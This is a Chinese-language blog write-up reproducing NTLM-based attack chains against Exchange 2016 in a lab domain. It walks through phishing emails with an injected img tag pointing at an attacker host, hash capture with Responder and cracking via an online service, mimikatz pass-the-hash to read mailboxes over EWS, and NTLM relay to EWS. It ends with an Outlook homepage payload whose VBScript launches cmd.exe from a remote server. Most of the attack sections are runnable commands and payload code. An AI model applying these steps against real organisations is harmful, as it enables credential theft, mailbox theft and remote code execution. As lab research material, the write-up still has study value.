exchange攻击链复现(ntlm_relay_ews)
Contents
环境搭建
1.域环境搭建
我们首先需要搭建一个简单的域环境,具体的搭建步骤可以参考:
配置Windows Server 2012域控环境,并抓取hash - 简书 (jianshu.com)
搭建的结果:
1 | Winserver2012R2 DC域控 ip:192.168.111.175 |
注:复现过程ip可能有变化
域搭好后,我们需要添加一个或多个域用户,具体可以参考:
https://blog.csdn.net/weixin_43760829/article/details/89437363
2.exchange服务搭建
我们这里搭建的版本为:ExchangeServer2016-x64-cu12
完整的搭建过程可以参考:
Exchange 2016部署实施案例篇-03.Exchange部署篇(上) - 《exchange知识》 - 书栈网 · BookStack
在exchange服务器上搭建好相关服务后,我们可以登录后发送一封邮件查看接收是否正常。
3.outlook2016安装
网上找一个office2016全家桶破解版,一路下一步即可成功安装。
4.win10受控机配置
配置java环境并安装burp,方便之后邮件抓包,具体步骤参考:
【工具安装】BurpSuite 安装教程 - Bay0net - 博客园 (cnblogs.com)
5.ubuntu配置
我们需要安装配置的工具,Impacket是一个网络协议工具包,Responder用来窃取NTLMv哈希,NtlmRelayToEWS是一种用于在Exchange Web服务(EWS)上执行ntlm中继攻击的工具。
- impacket:https://github.com/SecureAuthCorp/impacket
- responder:https://github.com/lgandx/Responder
- NTLMRelayToEWS:https://github.com/Arno0x/NtlmRelayToEWS
配置和具体使用方法可以参考帮助文档。
攻击手法一复现
攻击链
1 | 邮件探针(http型/unc型)->获取ntlmhashV1 -> 通过指定网站解密 -> 使用解密出的ntlmhash登录ews接口获取邮件 |
1.配置(LM 身份验证级别)LmCompatibilityLevel
我们知道Net-ntlm hash v1 本身存在缺陷,只要获取到Net-NTLM v1 都能破解为NTLM hash 与密码强度无关。所以在多数情况下Net-ntlm hash v1 已经废弃 ,如果想要启用,我们需要配置LM 身份验证级别 或者在注册表中修改LmCompatibilityLevel。
具体步骤:
- 单击“开始”,指向“程序”,然后单击“管理工具”。
- 在“域控制器安全”策略中,展开“安全设置”,然后展开“本地策略”。
- 单击“安全选项”。
- 双击“网络安全:LAN Manager 身份验证级别”,然后单击列表中的适当值。
我们这里直接选择最低的级别。分别在域控和我们的成员机进行同样的设置,这样就可以使用NTLMv1进行身份验证。
2.添加钓鱼域名dns记录
使用工具:https://github.com/Kevin-Robertson/Powermad 在已经被我们控制的win10域内机器上添加dns记录。
在powershell下进入powermad目录,执行命令:
1 | Set-ExecutionPolicy RemoteSigned |
3.发送钓鱼邮件
当我们已经获得一个域用户的账号密码时,我们从受控的机器上访问outlook网页版并登录邮箱。然后发送一封包含http或者unc路径的钓鱼邮件,在ExchangeServer2016下邮件中的unc路径会被过滤置空,所以我们这里插入http标签的方式进行测试:
使用burp抓取发送的包,在
标签之间插入:1 | \">hahahaha<img src=\"http://hackshang/\"><br> |
4.开启responder监听
监听前修改配置:
- 修改Responder.conf⾥⾯的Challenge = 1122334455667788(旧版本默认值,无需修改)
- 修改packets.py⾥⾯的NTLM_Challenge类,修改NegoFlags为\x05\x02\x81\xa2
开启监听
1 | sudo python Responder.py -wrfv -I eth0 |
5.受害者打开邮件
当收件人从自己服务器上登录exchange。查看收到的邮箱:
攻击者同时收到收件人的net ntml v1 hash
格式是 :
1 | 用户名::主机名:hash1:hash2:1122334455667788 |
一般来说hash1和hash2应该是⼀样的。
提取hash1,构造NTHASH:hash1
1 | NTHASH:2617F7B9DF8914D80AB037AE45621CE9C31E394AAD70F657 |
6.网站在线解密hash
使用hashcat离线爆破,或者使用网站在线解密:https://crack.sh/get-cracking/
放在https://crack.sh/get-cracking/⾥⾯,填写我们的邮箱,几十秒后就可以收到解密的hash:
7.pth利用ews接口收取邮件
帮助文档中有详细介绍,我们将mimikatz和Pass-to-hash-EWS都传到win10上。然后依次执行:
1 | mimikatz.exe privilege::debug "sekurlsa::pth /user:shanghui /domain:exchange.shang.com /ntlm:642877b6e68fcd328d894ab2fe1f7609 /run:cmd" exit |
使用mimikatz 进行ntlm pth 然后即可使用其他用户凭据对ews接口进行操作。
使用默认凭证收取收件箱邮件.
1 | pth_to_ews.exe https://exchange.shang.com/ews/exchange.asmx -MType Inbox |
还有一些其他的操作,可以查看帮助文档。
攻击手法二复现
攻击链
1 | 邮件探针(http型/unc型)->获取netntlmhashV2 -> relay到ews接口 -> 获取邮件 |
1.配置(LM 身份验证级别)LmCompatibilityLevel
我们需要重新配置身份认证级别,我这边调到了四级。
2.获取net-ntlmv2 hash
之前的步骤与手法一均相同,当受害者打开钓鱼邮件时,我们的responder即可收到net-ntlmv2 hash。
3.relay到ews接口获取邮件
工具:https://github.com/Arno0x/NtlmRelayToEWS
注:这里踩了个大坑,用的kali做的测试这里一直打不通,后来换了ubuntu一次成功,所以测试的时候不想踩坑还是用ubuntu。
ubuntu执行命令:
1 | sudo python ntlmRelayToEWS.py -t https://192.168.111.170/EWS/exchange.asmx -r getFolder -f inbox -v |
受害人查看邮件,会自动获取受害人收件箱邮件并保存在本地。
攻击手法三复现
攻击链
1 | 3. 邮件探针(http型/unc型)->获取netntlmhashV2 -> relay到ews接口 -> 设置homepage -> 获取主机权限 |
homepage利用
使用默认凭证验证ews接口设置outlook 客户端主页,url为远程pyloadurl,html里面写payload。
homepage的文章 https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
反弹shell执行命令处cmd.Run(“cmd.exe”)
修改即可。
1 | <html><head><meta http-equiv="Content-Language" content="en-us"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Outlook</title><script id=clientEventHandlersVBS language=vbscript> Sub window_onload() Set Application = ViewCtl1.OutlookApplication Set cmd = Application.CreateObject("Wscript.Shell") cmd.Run("cmd.exe") End Sub</script></head><body> <h1> Hello Alex </h1> <object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object></body></html> |
用python起一个http服务,把html放在服务器下:
1 | python -m SimpleHTTPServer 8000 |
使用NtlmRelayToEWS执行命令:
1 | sudo python ntlmRelayToEWS.py -t https://192.168.111.170/EWS/exchange.asmx -r setHomePage -f inbox -u http://192.168.111.182:8000/shang.html -v |
当收件人登录outlook查看钓鱼邮件时触发攻击:
返回查看homepage已被设置成我们的远程恶意html,我们刷新一下邮箱,成功执行命令。
后记
记录一些踩的坑点:
- 在安装exchange之前要先将各种依赖环境先装好。注意不同的服务器支持的exchange版本。
- 搭建好完整的测试环境及时快照。
- exchange各种服务启动需要一段时间,发现无法正常发送邮件,可以排查下pop3端口是否开启,或者直接重启或者恢复快照。
- burp抓包添加http标签时,抓包时间过长可能导致邮件发送失败。
- 最好在ubuntu下使用ntlmRelayToEWS工具,kali下会遇到不知名报错。
- 使用ntlmRelayToEWS工具时,遇到证书报错,参考洪谷师傅的解决方法:http://hackergu.com/ssl-certificate_verify_failed-certificate-verify-failed-_ssl-c590-%e6%8a%a5%e9%94%99%e8%a7%a3%e5%86%b3/
Author: Shu1L
Link: https://shu1l.github.io/2021/08/19/exchange-gong-ji-lian-fu-xian/
License: 知识共享署名-非商业性使用 4.0 国际许可协议